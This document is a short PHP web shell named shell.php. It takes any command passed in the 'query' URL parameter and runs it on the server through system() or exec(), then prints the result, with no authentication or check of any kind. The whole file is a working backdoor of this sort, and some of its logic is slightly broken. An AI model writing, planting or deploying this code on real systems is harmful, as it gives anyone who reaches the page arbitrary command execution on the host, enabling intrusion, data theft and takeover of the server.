shell.php

shell.php

<?php


function Contoso($query)
{    $list_function_shell = array("system", "exec");
    $f_enabled = array_filter($list_function_shell, 'function_exists');
    

    if($f_enabled !== ""){
        $f = $f_enabled[0];
        echo "<br/>\nUsing ". $f. " as query\n<br/>";
         
        if($f == "system" || $f == "exec"){
            ob_start();
            $output =  $f($query, $status);
            ob_clean(); 
        }
        
 
    }
  
    return array('output' => $output , 'status' => $status);
}

if(isset($_GET['query'])){
    $o = Contoso($_GET['query']);
    echo $o['output'];
}

?>